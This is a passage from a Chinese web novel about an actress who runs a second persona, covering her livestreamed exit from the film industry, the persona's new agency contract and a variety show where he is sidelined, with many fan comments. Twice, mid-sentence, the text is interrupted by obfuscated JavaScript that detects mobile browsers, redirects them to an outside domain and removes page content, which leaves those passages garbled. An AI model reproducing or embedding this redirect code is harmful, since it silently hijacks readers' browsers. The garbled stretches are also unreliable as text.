【这样都愿意帮她澄清？】 盛蹊没有和主持这场直播的宋寅有过多交流，只是确定直播确实是开始之后，先和镜头鞠躬说：“很抱歉占用大家的时间，也很感谢宋老师邀请我来。” 被称呼为宋老师的宋寅眼睫颤了一下。程梦看着，不知道为什么，下意识咬了咬唇。她好像知道为什么宋寅说，他发了之后，盛蹊反而不会和他和好了。 因为对他们来说，他们的矛盾是不可调和的，可是还是处于隐形状态的。 只要不去触碰，那过去那种默契和相互信赖，相互支持，都还可以自欺欺人地维持下去，只当他们是很久没见面，很久没有闲聊。 只要那层窗户纸没有戳破……保持冷漠陌生的关系，反而能让他们的这种回忆不被打碎。但一旦重新开始接触……谁都知道，一切不一样了。 就像宋寅一个人那样发，或许盛蹊也同意，或许盛蹊知道，是为了她好一样，好朋友闹掰了就是闹掰了，之后不见面，或许记得的还是以前好的时候，现在见面了，过去的美好都被现在的冰冷所取代。 而且他们谁都知道他们不和好，不是因为不想和好，是真的不能和好。薛定谔关于友谊的盒子打开，原来一开始就是满地破碎的。 盛蹊继续说：“大家应该也已经知道了星光娱乐和我解约的消息，我今天来，不止想感谢宋老师的邀请，谢谢他还记得之前和我这样一个平凡演员合作的细节，也是想借这个直播的机会，告诉大家，我以后可能……” 她本来是想直接说不会。 但是看到那个黑漆漆冰冷冷的镜头，脑海里忽然走马灯似的闪回她每个角色的每一幕，最后她还是说：“暂时。” 宋寅的眼睫又颤了一下。 “暂时不会再从事影视圈相关的工作，我会继续在线下精进表演，磨练自己，但是未必会出现在荧幕前，希望再和大家见面的时候，能让大家见到一个更好的消息。” 轰。徐可欣的耳朵炸了一下，她难以置信地看着直播，她也是现在才看到的，当时直播不过几千人，她没想到他们准备得那么快。 更没想到盛蹊没有在这个直播里和宋寅和好就算了，她还在这里官宣她暂时解约退圈的消息，徐可欣都瞬间以为自己听错了，她很想刷问号，也很想刷大哭的表情包，没想到弹幕比她刷得更快。 郑灵姝都愣了一下：什么情况，盛蹊的活人粉原来还有这么多的吗？她以为被周宇粉丝骂成那样后都没什么人看盛蹊了。 但盛蹊还是继续说：“我在圈内的时间不长，资历不深，但我还是想以我浅薄的经历说，宋老师是个很好的演员，就算我们只是萍水相逢的关系，但宋老师能因为点头之交拉我一把，我非常感谢他。” 她没注意到说这句话的时候一直低头的宋寅在默默地看着她，他漂亮的眼睛里什么都没有，但就是那种空洞和虚无才让人感觉难受。 就好像她说这些话，抽走他们全部相识过程的时候也在抽走他全部情绪。 弹幕已经有人刷了： 【骗人，明明你们就是很多年的好朋友（大哭）】 【家人们，这个女人是真的心狠哇，他为了给她澄清开直播，但她为了和他撇清干系，直接官宣退圈（大哭）我心碎了】 【超话说盛蹊不想让宋寅搅和进去，我还觉得是脑补嗑的硬糖，看到宋寅想站起来又坐下去我真的头都要哭晕了，她真的太好了（大哭）】 【是的……盛蹊一看就没和宋寅商量，宋寅如果知道她来是想说她解约退圈了，是不会让她来的】 【好狠啊，盛蹊，你替他这么选的时候有没有想过他只是想让你看到你值得更多人喜欢】 【她不在乎了吧……都解约了，而且说实话，宋寅前途比她光明多了】 盛蹊说完，只是鞠躬没再说什么，但是直播间落针可闻，其他来帮忙的工作人员都不敢看宋寅了。 他们和程梦一样，起初以为这只是一个他们好朋友见面的好机会，再说说友情，就算被周宇粉丝按头骂，也是你被黑我也不会放弃你的典范。 但是盛蹊直接退圈了……对宋寅来说，这和直接说我和你不熟，你想怎么待就在这个圈子里待下去，反正和我没关系有什么区别？ 理智上，他们知道盛蹊这是不想牵连任何人，也正是因为她要退圈了，才有这种勇气来参加直播，可是情绪上，他们代入宋寅，都无法接受。 果然第一段戏要上了，宋寅还在镜头一侧，背对着他们，根本看不到正脸的情绪，而盛蹊如常地低头温习台词。 “太虐了呜呜呜。”郑灵姝听到室友安素在她旁边小声说。 她还吸鼻子，看上去是真的真情实感了，但郑灵姝很快就知道她这样说是为什么了。 弹幕有人代她发了： 【骗人！！！明明你说的你很喜欢演戏的，你还和送宋寅说你永远不会退圈的，现在在他帮你澄清的直播里说解约暂退是在干什么啊啊啊啊！！（呜呜呜呜）】 发这条的就是徐可欣，她真的有点崩溃了： 【你说过不管是什么角色你都愿意演的啊呜呜呜呜，你还和他说你很喜欢这个行业的，为什么他和你一样都来了，你却要退出了（大哭）】 还有一样后面来的CP粉发： 【妈呀，本来只是随便磕磕的，看到直播真的哭麻了，为什么要不和他说就擅自决定？_?】 【不知道盛蹊的可能真的不知道吧，开直播前她已经被周宇粉丝骂了很久了，而且过了的剧也掉了，这种情况经纪公司不可能给她续约的，不算她违约都算不错了，宋寅为她说话，是，他可以站出来，但是他的演技生涯不要了吗？】 【感觉两个人都好冲动】 【不，我感觉这才是这两个人最好的选择，真的，盛已经无力通过公司给自己辩解了，宋这么做确实为她澄清了，但是澄清不代表就有工作机会，盛如果还想回来，现在去沉淀是最好的，同时宋也不会被她连累，可以说是最好的结果了】 【唯一被刀的可能只有迟迟入坑的CP粉，造了什么孽，才磕到多年好友就被喂了一嘴刀子QAQ】 【谁能给我解释下？】 【盛宋很多年前是好朋友，而且宋也知道盛很喜欢表演，但是之前闹翻了，盛出事的时候宋刚好退圈，现在宋想给盛澄清，盛因为解约了不想连累宋直接官宣退圈了】 【都想保护一次对方但是不能再在一起了（大哭）】 【看懂了敲，这是真的有些虐】 【关键是，盛是在表演前说的这些话你们懂吗，她根本不在乎她澄清效果如何，感觉就是因为宋不想让她受委屈，所以她也遂了宋的意，把表演效果给观众评判一样，可实际上……演得好不好她都不会再回来了】 【说的是暂时啊，暂时】 【前面的，你还没看懂吗？盛完全可以不来直播，她不来，夸她的人或许不会变多，但是骂她的肯定会在转移一部分到宋那里去，现在就是她其实不在乎澄清效果，但她不想让宋混得和她一样】 【天杀的，这是真的切割关系保护对方啊】 【这里面最刀的难道不是宋做之前完全想不到会这样吗，他可能觉得在她心里，表演比他重要，所以就算知道直播可能不是她想来的，但是为了心中的表演，她一定会来】 【但现在她来了，说以后再也不在荧幕上表演了！天杀的，我意识到你最爱我的时候，居然是你要和我告别的时候】 【感觉宋不会觉得这是因为盛在乎他的，只会觉得她真的对娱乐圈心灰意冷了，而自己做了帮凶，会更愧疚……】 郑灵姝跟着这些弹幕，终于把前因后果看懂了，她现在也知道为什么那个直播录屏发出来后会有CP超话建立了，这两个人完全是现实版的表面纯恨内里纯爱啊。 而且，她看弹幕，再看直播屏幕里的两个人，完全没感到弹幕说得夸张，反而觉得他们更写实了，因为宋寅就是从头到尾都没有说一句话，只是用力捏着剧本。 如果他真的只是为好朋友鸣不平，他知道她要退圈，就不会这么不体面，开了直播却一句话都不说……他不说是因为，他已经什么都说不出话来了。 程梦没见过现实里的盛蹊，但她看到她低头看剧本的侧脸，还是觉得很难过。刚好盛蹊想拿水，程梦立刻递过去，然后小声说：“宋老师为这场直播准备了很久。” 她说完紧张地看着盛蹊，她希望盛蹊不要退圈，就算要退圈……至少不要和宋寅疏远，他明明说这些都是因为她！ 但盛蹊只是抬起头看了她一眼，然后又说：“谢谢。” 她和她说：“《春江花月夜》我看了，这部戏真的非常完整。”可是有些人，尤其是屏幕里的人，大概就是不能拥有完整的人生。 她怎么能让特地切割出来的宋寅马甲有一点点和她相关的污点呢？那和她本人又有什么区别。如果和她有关，恐怕又要缠绕上各种被打压掉剧的厄运了吧。 盛蹊自嘲地笑笑。 只是原谅她真的想要证明一次自己而已。 哪怕是真的要短暂离开后。 盛蹊看向宋寅，他们对视一眼，这一眼里其实没有什么多余的情绪，但就是看得屏幕外屏幕内的都感觉到胃痛。 【我真的心痛了救命，默契到我看完剧本你一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111467|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头我就知道，默契到你什么都不说我都能走过来，默契到，你不说，我也知道该入戏了，但是再默契就是不能和好如初】 【当年决裂铁定是盛蹊单方面做的决定吧】 【谁做的决定都不重要了，可是超话说的真的很好，感觉这段搭档就像他们感情的回光返照QAQ】 因为熟悉，所以还能搭档拍戏，因为陌生，所以除了片场里的默契，再走出来只能是相顾无言。 宋寅说：“能不能不离开。”他说这句完全是因为盛蹊想让宋寅成为完美受害者，不要陷入本体退圈是两个人自导自演的舆论噱头的漩涡里。 当然，有没有不舍得，其实盛蹊自己也不知道。 她只是低头，然后对宋寅说：“宋老师，你真的是个很好的演员。” 我已经不相信我自己了。 我能相信的，也只有我是个演员，仅此而已。 弹幕和观众看到镜头里宋寅摇曳的心绪和苍白的表情，真的非常紧张和担心，担心宋寅要是没办法入戏，可能这个直播的用意就白费了，但是看到宋寅盛蹊入戏的那一秒，他们真的是…… 郑灵姝都怔住了，安素吸着鼻子嗓音沙哑，还是很想哭：“他们真的是很好的演员。” 宋寅和盛蹊完全没有出戏。 总有人觉得演员演戏只需要在脑海中虚构自己的那部分就好，当然不是如此，事实上片场就算是单人镜头，也很多时候都需要脑补和对手演员的化学反应。 盛蹊演过的戏大多不温不火，除了她本人天资确实有限之外，和她的对手演员大部分都给出的不是她想象中的回应也有关系吧。毕竟就和她和周宇被诟病的这一段一样，我在演暧昧，你却在演被骚扰，当然很难让人入戏。 但是宋寅演的是，喜欢而不自知。 他们的眼神一对接就有不自知的化学反应，有情绪在你我两个人之间流淌，你来我往的递进感，而不是你浓烈我浅淡的不配套，或者两个人都没有演出来的苍白。 这是一种很奇妙的感觉。 郑灵姝感觉刚刚她看到了两个真的诀别多年的好友，现在就看到了两个坠入爱河但还没戳破那层窗户纸的都市男女。 因为是成年人，所以氛围是含蓄的，又是心知肚明的，因为是公开环境，所以眼神交流很隐蔽，但是又因为是狭窄的电梯内，所以有肢体接触的时候，又忍不住有垂眸和看对方的小动作。 郑灵姝真的很震惊：他们居然演出了在电梯里和其他人隔着一段距离，但就他们关系不同的那种感觉。 盛蹊更是。宋寅之前看盛蹊的眼神就像是有千言万语，什么都要流淌出来了，稍微克制点，演好这段根本不难，但是盛蹊从进入直播开始就没给宋寅什么反应，现在在抬头的时候居然完全没有那种生疏和冷淡感。 【……我真的要胃疼了，不行了】 【谁懂吗，看这段真的有种时光倒流，现在才是他们的过去，而决裂是他们的未来的感觉（大哭）】 【宋这么快就能演出这种对女主有特别情愫的感觉我怀疑他就是本色出演就不提了，盛蹊真的，怎么做到的？我打开和周宇对比那段了，感觉完全不同，但是情绪居然是一样的】 【当然不一样啊，周前面那段处理得那么差，盛可能理解他是想地下恋情啥的，所以把暧昧感收了点，感觉就是喜欢了对方忍不住想要试探的小女生，现在宋很明显演出了双向的箭头，她当然也会内敛含蓄一点，想在喜欢的人面前端着点】 【真的感觉好不一样，配对男演员感觉对味了】 【感觉对味了加一，隔壁周那那张丑脸真的让我很难代入好吗】 【是的，油男那个嫌弃表情我看了一秒就yue了，懂为什么之前那么多人骂盛蹊我都不知道了，我根本没点进去看过（微笑）能跟着骂的都是能挨住周油腻暴击的】 【看哭我了，就这样谈恋爱腻来腻去的真的很美好啊，为什么要决裂】 【看之前：什么糊咖素人CP，看之后：给我复合！！】 还有第二段。被拿出来在演技综艺上审判那段也是盛蹊和一个知名男演员合作，对方演技没那么烂但就是模式化，弄得盛蹊的告别戏情感浓度也只能下来，不然真的看起来很出戏。 可是宋寅一但能给盛蹊好好接戏，他甚至都不需要说那几句台词，观众已经被盛蹊演哭了： 【我真的，去他的，娱乐圈到底在选啥，为什么演技这么好的女演员没有戏拍？】 【防止有人不知道，盛有过出圈角色的，被男女主角粉愣是骂下桌了，谁懂我当时自己当剪刀手几个产出都被下架了】 【这圈子真的没救了】 【所以真的很理解美女姐姐累了想要退圈（大哭）娱乐圈给你的真的对不起你的努力】 【某些人能别给周宇挽尊了好吗？盛蹊被宋寅代入了戏是你们说的，那你们谁知道宋寅说的戏是和盛蹊学的？】 【感觉宋在戏里流泪是真的心碎了，她最喜欢的行业，没有给她一个好结果】 最后收戏的时候就连帮忙来收音和打光的工作人员都久久没有平复，盛蹊可以快速地收拾好情绪，因为她是这件事里最无关紧要的人，她需要赶快找个安全地方，切换成单个马甲，减少可信度的消耗。 但是宋寅完全无法被她顾及到，或者说她心里的一部分，就是在放肆地沉浸在她的情绪里，所以盛蹊走了，还有很多人没察觉的时候，宋寅已经合上剧本，手指略微有些颤抖地往练舞室看去。 程梦张张嘴，才发现自己也想哭了：“宋老师……” 宋寅好像没有听到，他一直久久望着，一直到可信度稳定下来，又迎来暴涨，也一直到本体终于闭上眼睛时，他才像找回自己的神来。 他看向镜头时，感觉就像是不知道自己这一刻都在做什么，也连他想做什么都怀疑了。这时候原来直播的弹幕有几条夸演得挺好的，也有人问他和盛蹊是什么关系。 他什么都没有回答，他只是走近镜头，然后他说：“她不会退圈的，只是暂时的。” 徐可欣鼻子都不通气了，看见这句话还是想哭。 “她答应过她的粉丝的。” 【是她答应过你的（大哭）】 【我们xql真的太苦了，一个半退圈了，一个到现在也不敢承认自己在她心里的地位，怕她退圈都不敢说是因为我，而是因为她的粉丝（嗷嗷大哭）】 【这个切片最虐的难道不是没有一句正式告别就走了，或许我们在很久以前，就已经说过再见了（呜呜呜呜呜）】 【真的很be好吗，没有盛，宋一个人在圈里怎么办啊（大哭）】 直到这个切片又流传了一段时间，还有人发： 【没人懂……宋签约经纪公司了，连帮盛蹊鸣不平的博都隐藏了，但是最后这个直播的切片就是死活没删，一直在那放着】 【他知道她最想让他们看到的是她的戏（大哭）】 宋寅签了和枇杷平台常年有合作的一家中型娱乐公司，对方看了直播之后抓准时机，在宋寅又有流量又有作品的时候签了他，待遇给的不错。 博确实是他们让他隐藏的，但宋寅没有妥协最后一条。直到公司发声明欢迎，他和她合作的片段还挂在他的首页那里。 新粉只以为是合作推广，只有一小波CP粉丝天天来他这条博下哭。 【今天你的第一个角色线上杀青了，上了三个热搜，她一定也很为你高兴（大哭）】 程梦还看见一条更让她难过的： 【努力站到更多人面前吧，这样她或许就会看到你，会回来了（大哭）】 程梦也不知道自己为什么难过。 她只是隐隐约约觉得，宋寅当初说“那我希望不要被她看见”，不是因为他们绝交了，而是因为他知道，如果他被更多人看见了，那她恐怕也更不会，被其他人看见了而已。 他比她更希望。 是盛蹊，而不是宋寅被看见。 可是世事就是这么事与愿违。 17. 第 17 章 和宋寅签约的那家娱乐公司，负责接头的是盛蹊的朋友，盛蹊知道这件事的时候正在公寓收拾东西，准备搬出去。 不过与其说她是刚知道，不如说她是没有料到，她开着同时操控本体和马甲的双倍可信度消耗，仍然停下来想了一会儿：“他们是知道，我签约是因为梁叙吗？” 没有人能告诉她答案。 因为忙不赢，盛蹊只能开着双倍可信度消耗，还好，马甲最近的《春江花月夜》播出给他赚足了知名度，而且因为周宇粉丝的恨，也是可信度构建基础的一部分，宋寅现在的可信度，甚至比知名度还要可观。 所以盛蹊可以空出心思来训练她如何同时使用本体和马甲，虽然她大多时候，都只是开着宋寅马甲，但今天是因为她必须得在规定时间搬走，而宋寅也必须去见一见这位公司的负责人了。 梁叙打量着对面的青年。宋寅的外形条件很优越，这点他牵头签约这件事的时候就知道，不过就算有心理准备，他还是很诧异，宋寅会弃白熊旗下那种大公司不顾，而选择他们这一家中型公司。 虽然他看了直播之后就知道有盛蹊的原因，但……他还是要开口再确认一下，圈子里合作炒作的事多了去了，谁知道他是不是真的为盛蹊好呢？ 但是他开口询问的时候，对面的青年只是静静地抬起眼睛看他一眼，即使梁叙在这个圈子里见惯了好看的人，也仍然忍不住说：“你这张脸不是出了问题可别再动了。” 宋寅是来签一些补充合同的，这些条款大多无足轻重，未来也不一定会涉及，所以他签的时候在听他讲话，闻言，他笔尖轻轻顿了一下。 梁叙不愧是人精，看他这个表现就说道：“其实我也劝过圈子里很多人去动那张脸……” 宋寅打断他：“你不是和盛蹊是朋友吗？” 梁叙眉梢轻轻动了动，这下看他的眼神更认真了些，但是话说得和陆老师相同：“我从来没听盛蹊那提起过你。” 宋寅签好字：“以后也不会提起。”他把补充合同递还给他，接下来梁叙说一些合作事宜的时候，宋寅一直都没有在听，只是看着窗边的树出神，梁叙顿了一会儿，收好合同然后说：“圈子里我没见过你和盛蹊一样，这么在意这张脸的人。” 尤其是很多人，都把动脸作为一件平常事，虽然不会和粉丝提，但是每个季度的医美都是做的，有的时候甚至请假去把垮了的脸弄回来，他不明白，盛蹊为什么这么排斥这件事。 宋寅沉默了一会儿，梁叙以为他不会说的，准备起身的时候，宋寅说：“我和天光签约是因为当初你们给了她那个机会，履完这五年约之后，你们之间的恩怨一笔勾销。” 梁叙有点诧异，回看他一眼，然后说：“不要这么功利宋老师，在这个圈子里你就会明白，人情是最微不足道的关系，天光很看好你，接下来我们一起在这个圈子里发展不好吗？” 他想去按宋寅的肩，但是宋寅避开了，他起身看向梁叙。其实梁叙从来没有自称过是盛蹊的朋友，盛蹊也没有真的认可“朋友”这两个字，只是她以为，当初的角色，多少是代表梁叙和他背后的公司都认可的。 她这么想，他也这么问了：“当初推荐她去《惊梦》，确实是因为你们觉得，她更合适，对吗？”而且当时女主团队并非没有防爆，但是天光作为出品，还是阻拦了一些的，所以后来盛蹊成功接到这个角色，她完满地演绎完了角色的人生，一直记得天光的这份人情。 并不是所有人都愿意给一个不温不火的女配一个机会，况且她在网上被女主粉诟病后，被扒出来的一个黑点就是这个角色并没有经过试镜。 他们是直接推荐的。 梁叙在心里评估了一下宋寅对盛蹊的在意，沉默片刻还是实话实说，尽管他略去了实话里，女配这个角色人设足够出彩，脸就不能太出彩了，否则会喧宾夺主这部分：“盛老师是个很好的演员。” 再次听到这句话，宋寅以为她会哭，至少在心里，属于盛蹊的一部分会揪心一下，但是他心里一点情绪波动都没有，他只是轻声说：“我会成为比她更好的演员。” 他说：“谢谢。” 回去之后程梦一直很担心他情绪不好，新来的助李珂也经常敲了门之后用欲言又止的表情看着他，他们都很担心盛蹊的退圈对他来说是个意外的打击。 但是宋寅自己不这么觉得。 虽然他依然一天天在剧组看剧本，自己排戏，训练表演该有的技巧，但是他身上的可信度偏向一直在向轻度抑郁发展。 系统看他不管，坐不住了：【宿主。】 宋寅在低头看剧本，并没有回答它的话，系统看了很久，还是把“有没有可能，宿主你就是在抑郁，只是自己没有发现，或者察觉不到”咽回去，情绪问题并不是点出来了就不是情绪问题。 就好比程梦来了杨导剧组好几次，都明显发现，宋寅一直在强迫自己只关注和演戏有关的事，他放空自己到，自己下线的剧情播出了都没有在意。 她特意提到，还强调了好几遍网上的评论，可是看过去的时候，发现宋寅居然在发呆。程梦心里难受极了，她感觉回来之后，宋寅就好像心里一部分被挖走一样。 他一直不肯承认，绝口不提直播的事，也不关注盛蹊的消息，前段时间周宇的粉丝整出来一个盛蹊终于滚出圈，粉圈集体抽奖的词条，宋寅居然也不知道。 他这分明是打击过大封闭自己了。程梦强行拿走剧本，因为这剧规格比较高，剧本是保密的，她拿到手立刻放开，没敢看，而是道：“宋老师，你就没有想过，盛老师退圈之后，去线下支持她吗？” 怎么能就这样消沉？ 宋寅眼睫微动，好像茫然又好像怔愣地看着她，程梦又觉得有点心酸了，但还是鼓动：“不是吗？盛老师只是说暂时退圈，为了精进表演肯定会去线下话剧院、剧场表演的吧，你，你拍完戏有空，也可以去支持啊。” 宋寅只是低头，她有点后悔让程梦他们知道他和本体的关系，因为现在的她完全不想听到和她有关的半个字。他只是沉默地吃饭。 程梦看得有点急，忍不住道：“你不和她说她怎么会知道……” “她要知道什么？”宋寅终于开口轻轻打断，程梦愣了一下，不是因为宋寅一直表现得脾气很好的一个人，也会打断别人说话，而是因为她感觉到了他话里的哑意。 “她不是已经知道了吗？”宋寅转过头，眼眸深邃，情绪自嘲。 盛蹊不想打击别人的善意，可她确实不想从马甲那里听到，尤其是她已经决定为了躲清净真的将退圈决定公之于众后，再反复听到，她和马甲有多么不同，他们的境遇相差多少。 “她拍了很多年的戏，最后影响力几乎和只有一部作品的我相同，她给出了那么多角色，最后只能靠我和他们辩驳，甚至我和她出道时间不同，但是只需要一部作品，我们就已经是截然不同的两条路了。” 梁叙说他千万别再去动脸了，他们不同的，仅仅是一张脸吗？ 宋寅哑声：“我越知名，她越失败，我想让她看到的，她不是一点一点都清楚看到了吗？” 程梦终于知道这些天宋寅在想些什么，原来这些天他一言不发，一点都不对网上流言做一点回应，是他在想这个，他觉得，是他让盛蹊觉得，他的举动对她来说是嘲讽，是居高临下的回护，所以盛蹊为了和他一刀两断才会…… “不是，宋老师，你听我说，不是这样的……” 宋寅说：“我从来没听到她说过不喜欢演戏。”他弯起嘴角轻轻笑了一下，可是那双眼睛，那里面透露出来的神色，像是在流泪：“她在直播里说出来，好像就是为了和我说一样。” 你看，你让我那么讨厌，讨厌得连我最喜欢的演戏，好像都变得让人厌烦起来。宋寅看不到盛蹊直播背后的苦心，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133972|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只会觉得，是因为他，她才退圈了一样。 果然和网上说得一样，他不会觉得盛蹊是为了他做这些，而且，程梦也在这一刻理解了，退一万步说，就算他觉得盛蹊是为了他才这么做又怎么样呢？他不在乎盛蹊多在乎他。 他只在乎盛蹊有没有得到她喜欢的一切。 她因为他放弃了，对他来说，比死还难受。 宋寅说：“我有什么资格，代替她说，她的戏很好。”宋寅的声音越来越哑，他这些天的安静，沉默，抑郁，都好像是因为这几个字：“我根本就不是她。” “我没有演过她戏，也不会经历她经历的一切。” 因为长相长得不好看，戏份被一刀剪，因为脸没有镜头感，被留到试镜最后一轮还是被数次淘汰，因为脸可以衬托女主，好多次给的角色都是丫鬟。 其实她没有那么不好看，盛蹊知道，她对自己的脸有一个客观的认知，可就是因为介于好看与不好看之间，她才会那么难受。如果她真的有一张完全不适合讲故事的脸，也许她就不会痛苦了。 宋寅说：“我不该开那场直播的。” 虽然他永恒保留着他和盛蹊一起演戏的那段视频，但他心里其实已经把这件事视作疤痕一样来看待了，他那样本来就不希望自己打扰盛蹊的人，唯一的一次冲动、勇气，居然做成了这样的事，程梦都不敢想象他有多难过。 她低着头，不再说了。 宋寅继续吃饭，李珂拿起筷子，鼓起勇气说：“可是哥，你和盛老师那段，真的演得很好，不是只有我在说，很多网友，他们也都在说！” 还有有CP感，这几个字她咽回去，因为她看到宋寅那双好像在流泪的眼睛，她第一次知道，原来故事感出现在一张脸上的时候，故事感会盖过好看。 宋寅说：“她不会再和我一起演戏了。”也许有的脸，根本就不应该出现在荧幕上。 录演技派综艺前，他们要出发去录《春江花月夜》的团综，因为这次是电视剧主咖都一起去，程梦出发前特地和他强调：“周宇和那个综艺的主持人特别熟，宋老师你……小心一点。” 她没说，如果不是那个视频，宋寅和周宇团队的矛盾还没有那么激烈的，但是宋寅把周宇的戏份演了一遍，在周宇团队眼里就是和周宇公开叫板。 虽然因为周宇的声量远远压过了两个不知名的“素人”，所以直播虽然火过切片，但是和周宇有联系的事一直没有翻出花来。 宋寅在后台化妆的时候心想，她也本来没有这样的心思。她只是不服。宋寅垂眸。 周宇和他打招呼，不知道是不是因为后台有跟拍老师，态度相当客气，友好：“宋老师。” 宋寅对他点了下头。化妆师不知道是因为对他这样的新人有照顾心理还是什么，低声说：“你不客气点小心挨粉丝骂。”还示意了一下跟拍摄像机所在。 但是宋寅本来也不是一个太争太求或者不争不求的人。他对化妆师道了谢，到出化妆间之前也没有和周宇说什么，但是要上台排开场舞的时候，宋寅忽然说：“周老师有没有看那个视频？” 周宇转过来，认真看他几眼，然后笑：“看了，宋老师演得很好。”他演技并不好，宋寅看出来他和他的经纪人那个眼神都是差不多得了，再说就不能善了了。 宋寅说：“我也看了周老师和她拍摄的那段视频。”周宇眉心一跳，差点和跟拍说别拍了，想起来这节目是录播，心才缓慢放回去。 但是宋寅居然说：“我也觉得周老师演得很好。”凡是他这张脸出现的地方，她演得怎么样，想要表达什么，完全被掩盖。没有人会看到，也没有人会知道。 周宇很诧异，几乎以为他要因为盛蹊退圈了，和自己握手言和了。宋寅却已经收回视线。 所以都是因为一张脸是吗？那现在我们有差不多的一张脸了，我想看看。她真的想要看看，会有什么不同。 18. 第 18 章 来参加现场录制的都是周宇的粉丝，开始录制的时候能够很明显感觉到这一点，本来能容纳十几个人很大的舞台，居然被几百个观众的声浪包围，密不透风。 摄像机没在拍的时候周宇风度翩翩，和粉丝打招呼，还和他们谈笑，主持人有说有笑的，很明显对大明星人缘如此之好接受良好。 宋寅喝了口水。 李珂在旁边看着，总觉得有点着急，她感觉到直播之后宋老师对什么都不感了兴趣，这次又是只有主创没有导演团队的——李珂从程梦那里知道，无论是编剧还是导演团队都对宋寅感官良好，可是这期是主演，就算白颖帮宋寅多接了两句话cue了他一下，也改变不了这是周宇主场。 中间录制休息的时候周宇还和经纪人玩笑说：“我就说了现在的新人没道理不懂事儿。” 经纪人还是有点担忧，但也觉得周宇说得是：“在综艺和路人缘这块确实是你占优，拍完你这一部，你那演技班真的得去上了。” 以前还有粉丝抨击工作室公司不做人不让演员去精进演技，现在娱乐圈寒冬升级，影视资源也不好拿了，是艺人不想打磨演技，要挣快钱，公司反而得求着他们重视口碑一点，别把饭碗给砸了。 周宇被白熊强捧，很多人的话他其实不听。资本也不在乎，但是周宇的事业是经纪人的饭碗。果然他听完只是敷衍地说知道了知道了，看经纪人脸色不好才笑着劝了他几句。 该说不说，周宇就算人品演技不行，该来事的时候还是会来事的，不然也不能在娱乐圈长红，经纪人看看他那张无往不利的脸，还是按下不提。罢了，脸在江山在，就算这部剧红利没完整吃到又能怎么样呢，顶流艺人也就那么高知名度，再往上打也不行了。 周宇还没到要靠演技转型的时候呢。经纪人也是听公司安排着，让周宇吃青春饭的，所以也就不提了。 李珂看到后半段综艺游戏升级，白颖和周宇都很玩得开，剧组里的女配是一个温温柔柔的性子，就算不怎么参与，也是笑着注视着，就只有他们宋哥好像热闹和他无关，默默注视着，都着急了，不知道宋寅在想些什么。 其实宋寅什么都没想，他只是想起她作为女配参与剧宣综艺的时候，资源还没顶配到这种地步，没有大热综艺官宣，没有明星主持人接话，几个演技片段，让她在现场表演一下，夸赞几句，就结束了。 那种场合当然也能看得出来他们是不走心的，而且放出来会有什么噱头，女配营销演技，那主演营销什么，剧里不够剧外凑的CP感吗。很长一段时间她的剧和她的综艺一样，无人问津，激不起一点水花。 现在资源降级，很多制作一般的剧也会来这部大热综艺，但是盛蹊从来没有站上来过。退圈之后再以马甲的身份站在这里，他感觉，他才是盛蹊的影子。 原来系统说得没错，马甲再耀眼，也终究只是本体的一部分投射的，他在这上面，感觉不到任何真实感。 但是，这并不妨碍他给周宇找麻烦。 录制结束后综艺的主持人特地和宋寅说：“宋老师，今天招待不周了。”他们在台上，其实看得出来宋寅没怎么能融入，但是台下也有观众，他们也只能把效果继续做下去，否则如果停止或者重来什么的，粉丝又要闹了。 流量也是这点不好，太容易被粉丝裹挟。主持人心里这么感慨一句，看到宋寅颔首，对他说的话没放在心上的模样，心里松了口气。说实话，剧他也看了，宋寅其实演得很好，就是差点运气，再来几部剧积累，也不一定不会火。 到时候让剪辑注意一点，加几个“怜爱”或者是“i人害怕”的后期就是了，孤立嘉宾说出去可不好听，而且宋寅这样的人设也容易有粉丝啊。 团宣综艺播了，如周宇团队所料，脸在江山在，原来周宇因为演技差还上过热搜，今天他在综艺里玩得开，营销笨蛋帅哥开朗大男孩的人设，依然有粉丝溺爱。 词条一刷，清清爽爽男大招牌打出去，又有没看剧的路人觉得是其他人对流量有偏见了，这么张脸演看着就赏心悦目了，能难看到哪里去？ 只有真正看了剧，并且看了原著对剧有期待的电视剧粉丝恶心得隔夜饭都要吐出来，卓嘉就是其中一个，她生气地发了好几条周宇在春夜里演技就是辣眼睛，辣得他那张脸都看不下去，然后眼不见心不烦地往下刷。 刷到她不知道啥时候关注的一个账号，发：【宋寅是不是被春夜剧组的人给霸凌了？看了正在进行的游戏项目好几眼，还是没有开口说他也想上场】 本来只是一个个人博，卓嘉看的时候还只有十几条评论，晚上再看，热搜已经爆了，不知道哪里来的一群路人粉丝把这条博顶上了热搜，热评第一： 【……服了，盛宋实惨】 她愣了愣，点进这个粉丝的主页去看，没想到摸进了一个CP超话，然后CP超话里全是仗着自己说的话上不了热搜，直白开麦的： 【我们小情侣怎么那么惨啊（大哭）西西都已经退圈了，宋去参加剧宣综艺，还要被边缘化】 【看这个眼神，真的心疼了】 【不是，没人懂吗？西西退圈了他因为公司不想让他和周宇的粉丝扯上关系只能闭麦，要和周宇一起参加同一个节目也就算了，周宇表面上一口一个宋老师，结果每次答题都略过宋寅，哈？】 【料到了，开直播的时候宋寅肯定知道会得罪周宇了，他应该也不在乎综艺被孤立，但是一想到盛蹊在家里看综艺会看到这一幕我真的（心碎了）】 【退圈好像清净了，可是不退圈的好像也没有过很好（大哭）】 